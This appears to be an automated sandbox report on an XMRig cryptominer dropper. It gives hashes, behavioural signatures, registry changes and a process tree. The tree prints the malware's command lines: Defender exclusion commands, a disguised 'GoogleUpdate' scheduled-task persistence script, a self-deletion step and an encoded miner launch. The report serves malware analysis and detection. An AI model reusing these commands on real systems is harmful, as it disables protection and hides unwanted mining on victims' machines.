xmrig | ae23dce6045773f7debde8d12221f2e8a0c356a2b048d2863fb35fb0840fde3e

max time kernel
898s
max time network
891s
platform
windows10-2004_x64
resource
win10v2004-20250211-en
resource tags

arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
submitted
11/02/2025, 16:33

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General

Target

grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1708 created 3504	1708	qM5GMXBk6hJE6Y5e (17) - K.exe	56
PID 1708 created 3504	1708	qM5GMXBk6hJE6Y5e (17) - K.exe	56
PID 1708 created 3504	1708	qM5GMXBk6hJE6Y5e (17) - K.exe	56
PID 1708 created 3504	1708	qM5GMXBk6hJE6Y5e (17) - K.exe	56
PID 1784 created 3504	1784	updater.exe	56
PID 1784 created 3504	1784	updater.exe	56
PID 1784 created 3504	1784	updater.exe	56
PID 1784 created 3504	1784	updater.exe	56
PID 4796 created 3504	4796	conhost.exe	56
PID 1784 created 3504	1784	updater.exe	56

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral4/memory/828-110-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-109-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-112-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-114-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-116-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-118-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-120-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-122-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-124-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-126-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-128-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-130-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-132-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-134-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-136-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-138-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-140-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-142-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-144-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-146-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-148-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-150-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-152-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-154-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-156-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-158-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-160-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-162-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-164-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig
behavioral4/memory/828-166-0x00007FF604F90000-0x00007FF605784000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4752	powershell.exe
4500	powershell.exe
1616	powershell.exe
4892	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1784	updater.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1784 set thread context of 4796	1784	updater.exe	101
PID 1784 set thread context of 828	1784	updater.exe	107

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/828-105-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-110-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-109-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-112-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-114-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-116-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-118-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-120-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-122-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-124-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-126-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-128-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-130-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-132-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-134-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-136-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-138-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-140-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-142-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-144-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-146-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-148-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-150-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-152-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-154-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-156-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-158-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-160-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-162-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-164-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx
behavioral4/memory/828-166-0x00007FF604F90000-0x00007FF605784000-memory.dmp	upx

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (17) - K.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3392	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
1708	qM5GMXBk6hJE6Y5e (17) - K.exe
1708	qM5GMXBk6hJE6Y5e (17) - K.exe
1616	powershell.exe
1616	powershell.exe
1708	qM5GMXBk6hJE6Y5e (17) - K.exe
1708	qM5GMXBk6hJE6Y5e (17) - K.exe
4752	powershell.exe
4752	powershell.exe
1708	qM5GMXBk6hJE6Y5e (17) - K.exe
1708	qM5GMXBk6hJE6Y5e (17) - K.exe
1708	qM5GMXBk6hJE6Y5e (17) - K.exe
1708	qM5GMXBk6hJE6Y5e (17) - K.exe
4724	powershell.exe
4724	powershell.exe
1784	updater.exe
1784	updater.exe
4892	powershell.exe
4892	powershell.exe
1784	updater.exe
1784	updater.exe
4500	powershell.exe
4500	powershell.exe
1784	updater.exe
1784	updater.exe
1784	updater.exe
1784	updater.exe
4796	conhost.exe
4796	conhost.exe
1784	updater.exe
1784	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeIncreaseQuotaPrivilege	4752	powershell.exe
Token: SeSecurityPrivilege	4752	powershell.exe
Token: SeTakeOwnershipPrivilege	4752	powershell.exe
Token: SeLoadDriverPrivilege	4752	powershell.exe
Token: SeSystemProfilePrivilege	4752	powershell.exe
Token: SeSystemtimePrivilege	4752	powershell.exe
Token: SeProfSingleProcessPrivilege	4752	powershell.exe
Token: SeIncBasePriorityPrivilege	4752	powershell.exe
Token: SeCreatePagefilePrivilege	4752	powershell.exe
Token: SeBackupPrivilege	4752	powershell.exe
Token: SeRestorePrivilege	4752	powershell.exe
Token: SeShutdownPrivilege	4752	powershell.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeSystemEnvironmentPrivilege	4752	powershell.exe
Token: SeRemoteShutdownPrivilege	4752	powershell.exe
Token: SeUndockPrivilege	4752	powershell.exe
Token: SeManageVolumePrivilege	4752	powershell.exe
Token: 33	4752	powershell.exe
Token: 34	4752	powershell.exe
Token: 35	4752	powershell.exe
Token: 36	4752	powershell.exe
Token: SeIncreaseQuotaPrivilege	4752	powershell.exe
Token: SeSecurityPrivilege	4752	powershell.exe
Token: SeTakeOwnershipPrivilege	4752	powershell.exe
Token: SeLoadDriverPrivilege	4752	powershell.exe
Token: SeSystemProfilePrivilege	4752	powershell.exe
Token: SeSystemtimePrivilege	4752	powershell.exe
Token: SeProfSingleProcessPrivilege	4752	powershell.exe
Token: SeIncBasePriorityPrivilege	4752	powershell.exe
Token: SeCreatePagefilePrivilege	4752	powershell.exe
Token: SeBackupPrivilege	4752	powershell.exe
Token: SeRestorePrivilege	4752	powershell.exe
Token: SeShutdownPrivilege	4752	powershell.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeSystemEnvironmentPrivilege	4752	powershell.exe
Token: SeRemoteShutdownPrivilege	4752	powershell.exe
Token: SeUndockPrivilege	4752	powershell.exe
Token: SeManageVolumePrivilege	4752	powershell.exe
Token: 33	4752	powershell.exe
Token: 34	4752	powershell.exe
Token: 35	4752	powershell.exe
Token: 36	4752	powershell.exe
Token: SeIncreaseQuotaPrivilege	4752	powershell.exe
Token: SeSecurityPrivilege	4752	powershell.exe
Token: SeTakeOwnershipPrivilege	4752	powershell.exe
Token: SeLoadDriverPrivilege	4752	powershell.exe
Token: SeSystemProfilePrivilege	4752	powershell.exe
Token: SeSystemtimePrivilege	4752	powershell.exe
Token: SeProfSingleProcessPrivilege	4752	powershell.exe
Token: SeIncBasePriorityPrivilege	4752	powershell.exe
Token: SeCreatePagefilePrivilege	4752	powershell.exe
Token: SeBackupPrivilege	4752	powershell.exe
Token: SeRestorePrivilege	4752	powershell.exe
Token: SeShutdownPrivilege	4752	powershell.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeSystemEnvironmentPrivilege	4752	powershell.exe
Token: SeRemoteShutdownPrivilege	4752	powershell.exe
Token: SeUndockPrivilege	4752	powershell.exe
Token: SeManageVolumePrivilege	4752	powershell.exe
Token: 33	4752	powershell.exe
Token: 34	4752	powershell.exe
Token: 35	4752	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5028 wrote to memory of 2008	5028	cmd.exe	94
PID 5028 wrote to memory of 2008	5028	cmd.exe	94
PID 4724 wrote to memory of 1924	4724	powershell.exe	95
PID 4724 wrote to memory of 1924	4724	powershell.exe	95
PID 1784 wrote to memory of 4796	1784	updater.exe	101
PID 4916 wrote to memory of 3392	4916	cmd.exe	106
PID 4916 wrote to memory of 3392	4916	cmd.exe	106
PID 1784 wrote to memory of 828	1784	updater.exe	107

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3504
- C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe
  "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1924
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4500
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4796
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4916
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:3392
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2272
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:828

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
